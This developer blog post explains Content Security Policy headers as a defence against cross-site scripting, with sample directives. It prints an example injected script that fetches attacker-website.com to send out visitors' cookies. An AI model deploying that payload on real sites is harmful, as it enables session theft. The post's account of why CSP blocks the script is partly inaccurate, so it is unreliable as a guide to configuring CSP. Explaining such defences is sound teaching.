Content Security Policy (CSP)

-

 

What is Content Security Policy (CSP)?

Content Security Policy (CSP) is a security feature implemented by browsers that helps protect websites from various types of attacks, particularly Cross-Site Scripting (XSS). It allows website owners to define which content (like scripts, images, or stylesheets) can be loaded and executed on their website.

By setting a CSP, you tell the browser to only load resources from trusted sources and block potentially dangerous content, like malicious scripts injected by an attacker. This adds a strong layer of defense against attacks like XSS.

How CSP Helps Prevent XSS

Let's revisit the XSS scenario to understand how CSP can mitigate the attack.

Recap of XSS Example

  1. The Vulnerability:
    • Your website allows users to submit comments.
    • The comments include HTML/JavaScript, which is displayed directly on the page without any sanitization.
    • An attacker injects a malicious script (e.g., fetch('https://attacker-website.com/steal?cookie=' + document.cookie);) into the comment section.
    • The malicious script is executed when other users load the page, leading to stolen data (e.g., cookies, session information).

How CSP Can Prevent This XSS Attack

Without CSP, the malicious script can execute freely. However, with CSP in place, the browser will follow the policy defined by you and prevent scripts from untrusted sources from running.

How to Set a Basic CSP to Prevent XSS

CSP can be set by adding an HTTP header to your server’s response or via meta tags in your HTML document.

A basic CSP header looks like this:


Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';

Breakdown of the CSP Directives:

  • default-src 'self': This means that only resources (scripts, images, styles, etc.) from the same domain as the website (i.e., 'self') are allowed to be loaded. This helps prevent the inclusion of external resources from untrusted sources.

  • script-src 'self': This restricts scripts to be loaded only from the same origin as the website (i.e., no external scripts). Any external script, like the one injected by the attacker, will be blocked.

  • object-src 'none': This denies the loading of plugins or any object tags (like Flash or Java applets) on the website.

Example of CSP in Action:

Let’s consider the attacker’s malicious comment again:


<script>
  fetch('https://attacker-website.com/steal?cookie=' + document.cookie);
</script>
  • Without CSP: The script is embedded in the comment and executed because no CSP policy is in place to block it.
  • With CSP: The browser reads the CSP header and sees that script-src is restricted to 'self'. This means:
    • The script is blocked because it's not from the same origin (my-frontend.com).
    • The attacker’s external script(which is from diffrent origin https://attacker-website.com) cannot be loaded and executed.

How CSP Works in the Browser

  1. Server Sends CSP Header:

    • When the browser requests your webpage, the server sends a response with the CSP header, which defines the rules about where content can come from.

  2. Browser Enforces CSP:

    • The browser checks the CSP header and ensures that only allowed resources (scripts, images, etc.) are loaded.
    • If any resource violates the policy (e.g., a script from an external source), the browser blocks it.

  3. Blocked Malicious Content:

    • In the XSS scenario, when the attacker tries to inject a malicious script, the browser will detect that the script is not from an allowed source and block it from executing.

CSP Directives You Can Use for XSS Protection

  1. default-src: Restricts the default source of all content (like scripts, images, etc.) to 'self' (same domain).

  2. script-src: Specifically controls which scripts are allowed. To prevent external scripts:


    script-src 'self';

  3. style-src: Controls where CSS styles can come from. To allow only inline styles from trusted sources, you might use:


    style-src 'self' 'unsafe-inline';

  4. object-src: Prevents potentially dangerous plugins from being loaded.


    object-src 'none';

  5. frame-ancestors: Prevents your site from being embedded in an iframe from another domain, which can also prevent clickjacking

Comments

Post a Comment

Popular posts from this blog

JavaScript Must-Read Topics for Senior Developer Interviews

-
JavaScript Must-Read Topics for Senior Developer Interviews Core JavaScript Variables and Scoping ( var , let , const ) ✅ Hoisting✅ Closures✅ The Event Loop✅ Promises✅ and Async/Await✅ Callbacks✅ Prototype and Prototypal Inheritance✅ this Keyword and Binding✅ Execution Context and Call Stack✅ Error Handling ( try-catch , finally , custom errors)✅ ES6+ Features (Destructuring✅, Spread/Rest✅, Arrow Functions✅, etc.) Type Coercion and Type Checking ✅ == vs ===  ✅ Object-Oriented Programming in JavaScript (Classes, Constructors)✅ Functional Programming Concepts (Higher-Order Functions✅, Pure Functions✅, Immutability✅) Module Systems ( require , import/export , CommonJS, ESModules)✅ JavaScript Design Patterns (Singleton, Factory, Observer, etc.) Garbage Collection✅ Advanced Topics Currying✅ Memoization✅ Throttling and Debouncing✅ Event Bubbling , Event Capturing and Event Delegation✅ Shadow DOM and Web Components Iterators, Iterables and Generator✅ WeakMap and WeakSet✅ Proxy and...
Read more

React.js Topics for a Mid-Senior Level Developer Interview Preparation

-
  React.js Topics for a Mid-Senior Level Developer Interview Preparation 1. Core Concepts React Component Types (Class vs Functional Components)✅ JSX and Rendering Elements✅ Props and Prop Validation✅ State Management (useState, class-based state)✅ Lifecycle Methods vs Hooks (useEffect)✅ 2. Advanced React Context API✅ Higher-Order Components (HOC)✅ Render Props✅ React Portals✅ Refs (createRef✅, useRef✅, forwardRef✅) Error Boundaries✅ Suspense and Lazy Loading✅ Strict Mode✅ Concurrent Rendering✅ 3. React Hooks Basic Hooks: useState, useEffect✅ Advanced Hooks: useContext✅, useReducer✅, useMemo✅, useCallback✅, useRef✅, useLayoutEffect✅ Custom Hooks (Creation and Use Cases)✅ 4. React Performance React.memo and useMemo✅ React Profiler Avoiding Re-renders (key, memoization, and immutability)✅ Code Splitting and Lazy Loading✅ Virtual DOM and Reconciliation✅ 5. Routing React Router (v6+): Route Configurations✅ Nested Routing✅ Dynamic Routing✅ Programmatic Navigation (useNavigate, useParams...
Read more

Must read Topics for Mid Level Node.js Developer Interview Preparation

-
  Must read Topics for Mid Level Node.js Developer Interview Preparation 1. Core Node.js Fundamentals Node.js Architecture (Single-threaded, Event Loop, Non-blocking I/O)✅ Understanding require and ES Modules ( import/export )✅ Core Modules: fs path os events http / https stream (Readable, Writable, Transform, Duplex) Process Management: process (environment variables, process.nextTick , process.exit ) Handling Uncaught Exceptions Timers ( setTimeout , setInterval , setImmediate ) Working with Buffers Working with the File System ( fs.promises , async/await with fs ) Child Processes ( child_process , exec , spawn , fork ) 2. Package Management with npm and Yarn Managing dependencies ( package.json , package-lock.json )✅ Semantic Versioning ( ^ , ~ , exact versions)✅ Local vs. global packages✅ Scripts in package.json (e.g., npm run dev )✅ Using npx ✅ 3. Asynchronous Programming Callbacks✅ Promises✅ async/await ✅ Event Emitters Streams and Pipelining Error handling in async code...
Read more